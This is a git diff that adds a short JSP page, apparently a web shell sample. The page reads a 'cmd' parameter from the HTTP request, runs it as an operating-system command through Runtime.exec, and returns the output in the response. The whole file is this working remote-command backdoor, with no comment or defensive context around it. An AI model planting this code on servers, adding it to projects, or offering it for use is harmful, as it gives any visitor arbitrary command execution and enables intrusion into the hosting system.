diff --git a/jsp/2022-09-03-01.jsp b/jsp/2022-09-03-01.jsp new file mode 100644 index 0000000..a277260 --- /dev/null +++ b/jsp/2022-09-03-01.jsp @@ -0,0 +1,17 @@ + +<%@ page import="java.io.InputStream" %> +<%@ page import="java.io.BufferedReader" %> +<%@ page import="java.io.InputStreamReader" %> +<%@page language="java" pageEncoding="utf-8" %> + + +<% + String cmd = request.getParameter("cmd"); + Process process = Runtime.getRuntime().exec(cmd); + InputStream is = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is)); + String r = null; + while((r = bufferedReader.readLine())!=null){ + response.getWriter().println(r); + } +%>